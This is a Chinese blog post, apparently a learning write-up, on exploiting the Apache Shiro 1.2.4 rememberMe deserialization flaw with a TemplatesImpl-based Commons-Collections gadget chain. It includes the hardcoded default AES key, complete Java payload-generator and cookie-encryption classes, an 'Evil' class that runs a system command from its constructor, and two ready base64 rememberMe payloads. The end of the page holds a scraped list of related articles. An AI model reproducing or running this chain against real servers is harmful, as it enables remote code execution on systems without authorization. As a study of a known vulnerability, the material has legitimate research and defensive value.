TemplatesImpl在Shiro中的利用
TemplatesImpl在Shiro中的利用
文章首发自: https://www.le1a.com/posts/6e876d26/
前言
前面学习了CC1、CC3和CC6,其中CC6是不限制版本的一条链,那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行
和代码执行
到底谁更有价值?
例如在PHP中会遇到一个场景,call_user_func
和eval
都能造成的代码执行,而更多的人愿意使用eval
,原因是call_user_func
在某种情况下会被限制不能使用assert
和system
函数。通过TemplatesImpl
构造的利用链,理论上可以执行任意Java代码。
Shiro反序列化原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==
影响版本
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞环境搭建
漏洞环境: 点击访问
搭建教程: 点击访问
访问首页,如图所示即已搭建成功
漏洞分析
先添加一波依赖:
<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.2.4</version>
</dependency>
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.27.0-GA</version>
</dependency>
先登录抓包一下,使用root/secret
登录并勾选Remember Me。
勾选登录后,Cookie会生成rememberMe字段,这条链子的一个攻击流程就是:
- CC链生成payload
- 使用Shiro默认密钥进行AES加密
- 进行Base64编码
- 传入Cookie中的remember字段发送给服务器,最后进行反序列化
不过这里的CC链需要改造CC6才能打,我们先直接来打,看看是什么效果捏?
package Shiro;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections6 {public static byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Shiro.Evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}
加密的过程,我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串:
8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc
可以看到,是没有成功弹出计算器的,我们来思考一下为什么呢?
P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
构造不含数组的反序列化Gadget
接下来,看看如何使用TemplatesImpl
来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
而在CC3中介绍了,利用InvokerTransformer
调用 TemplatesImpl#newTransformer
方法:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
};
但是这里仍然是用到了Transformer[]
,所以还算不满足条件。
在CommonsCollections6
中使用了TiedMapEntry
这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry
类有个getValue
调用了map的get方法,并传入key。
public Object getValue() {return map.get(key);
}
当这个map被传入LazyMap的时候,其get方法就触发了transform()方法。
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}
在以前构造CC6的时候,这里参数key的值实际上是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,我们是通过ConstantTransformer来初始化恶意对象。
但是现在不能使用Transformer[]数组了,自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get
的参数key却让人引起重视,因为这个key会被传入transform(),也就是它也能扮演ConstantTransformer的角色,用来传递恶意对象。
改造CommonsCollections6为 CommonsCollectionsShiro
首先第一步还算使用TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后用newTransformer方法的InvokerTransformer,但此时先构造一个fake,防止恶意方法在构造链子的时候触发:
Transformer transformer = new InvokerTransformer("getClass", null, null);
然后下面就继续用CC6的代码,在TiedMapEntry构造的时候,第二个参数key传入刚刚创建的TemplatesImpl
对象:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
之前使用的outerMap.remove
来移除keykey
这个值,这里可以用过 outerMap.clear()
效果是一样的。
最后,将 InvokerTransformer
的方法从人畜无害的 getClass
,改成 newTransformer
(用于初始化,触发恶意类的构造函数)
完整CommonsCollectionsShiro:
package Shiro;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollectionsShiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
写一个Client.java来配合链子生成payload:
package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Shiro.Evil.class.getName());byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}
Evil类
还有一个Evil类,用到了javassist
,它是一个字节码操纵的第三方库,可以帮助我们把恶意类转化为字节码文件,再传入TemplatesImpl
进行类加载。
package Shiro;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}
Payload:
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
最后
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了,还有新的Shiro721
Shiro550使用已知密钥撞,Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)
TemplatesImpl在Shiro中的利用相关推荐
- Shiro反序列化漏洞利用笔记
Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...
- Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)
Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...
- 利用fputc函数写一个putw(w,fp)函数,将整数w写入fp所指文件中; 利用fgetc函数写一函数getw(fp)从所指文件读出一整数
<程序设计基础-c语言>杨莉 刘鸿翔 ISBN-978-7-03-032903-5 p257 习题8 5.利用fputc函数写一个putw(w,fp)函数,将整数w写入fp所指文件中: 利 ...
- java 2d划线 刷子_Java图形设计中,利用Bresenham算法实现直线线型,线宽的控制(NO2DGRAPHICS)...
Java图形设计中,利用Bresenham算法实现直线线型,线宽的控制(NO2DGRAPHICS) (2007-04-05 23:37:39) Java 2D Graphics提供了强大的画线功能,可 ...
- Shiro中进行角色与权限认证流程
场景 使用Shiro的JdbcRealm实现查询数据库进行身份认证: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/9010599 ...
- java正则表达式匹配数字范围_在java中怎么利用正则表达式匹配数字
在java中怎么利用正则表达式匹配数字 发布时间:2020-12-03 17:47:12 来源:亿速云 阅读:58 作者:Leah 在java中怎么利用正则表达式匹配数字?针对这个问题,这篇文章详细介 ...
- 浅谈JAVA中如何利用socket进行网络编程(二)
转自:http://developer.51cto.com/art/201106/268386.htm Socket是网络上运行的两个程序间双向通讯的一端,它既可以接受请求,也可以发送请求,利用它可以 ...
- Django中models利用ORM对Mysql 进行查表的语句(多个语句)
Django中models利用ORM对Mysql 进行查表的语句(多个语句) 字段查询 all():返回模型类对应表格中的所有数据. get(): 返回表格中满足条件的一条数据,如果查到多条数据,则抛 ...
- C Builder中如何利用消息
规范的BCB过程利用Application->Run()进去消息循环,在Application的ProcessMessage措施中,利用PeekMessage措施从消息队列中提取消息,并将此消息 ...
最新文章
- NewPhy.-揭秘优势种dominant species
- boost::leaf::exception用法的测试程序
- 用 Redis 实现分布式锁(Java 版)
- 算法系列15天速成——第十三天 树操作【下】
- 文献记录(part1)--NP-hardness of Euclidean sum-of-squares clustering
- 数据结构之插入排序:折半插入排序算法
- codesys 串口通讯实例_CODESYS线上直播,解读控制器开发那些事儿(二)
- java 取对象的类_Java中通过Class类获取Class对象的方法详解
- Android--应用开发1(应用程序框架)
- 文本整理器 v3.0 官方
- adadelta算法_(学习率自适应的梯度下降算法)ADADELTA: AN ADAPTIVE LEARNING RATE METHOD(2012)...
- 矩阵乘法np.dot()及np.multipy()区别
- AMD GPU 系列版本信息
- IReader Silverlight电子阅读器介绍开源项目
- tikz 折线 箭头_这种箭头用LaTex怎么实现?
- CGO 之 Dll调用
- python dbf 修改_Python修改DBF文件指定列
- 2016 杭州云栖大会随笔
- 大榕树BASIS QQ群
- C++ 数组名a、数组名取地址a、数组首地址a[0]、数组指针*p
热门文章
- 2020身高体重标准表儿童_【宝宝身高体重标准表】儿童身高体重标准表2020、2019_身高体重标准表_亲子百科_太平洋亲子网...
- 同步脑电图-功能磁共振融合推断宏观脑动力学
- python data_Python data.Data方法代码示例
- Windows下Visual Studio Code配置Shell开发环境 (超详细图文)| 瞬间提高200%生产力
- 启动马达接线实物图_软启动器怎么接线?一张电路图一张实物图供大家参考
- 我叒玩坏eclipse以后决定把问题记录下来了
- 批处理获取整台计算机的盘符,可以用批处理的方法更改盘符吗?
- 中国计算机科学前沿官网,计算机科学前沿技术Frontier Technologies in Computer Science课件...
- IAP的无线版(stm32无线下载程序)(基于有线升级)
- vue h5(网页) 调用相机拍照和相册,实现多张图片上传功能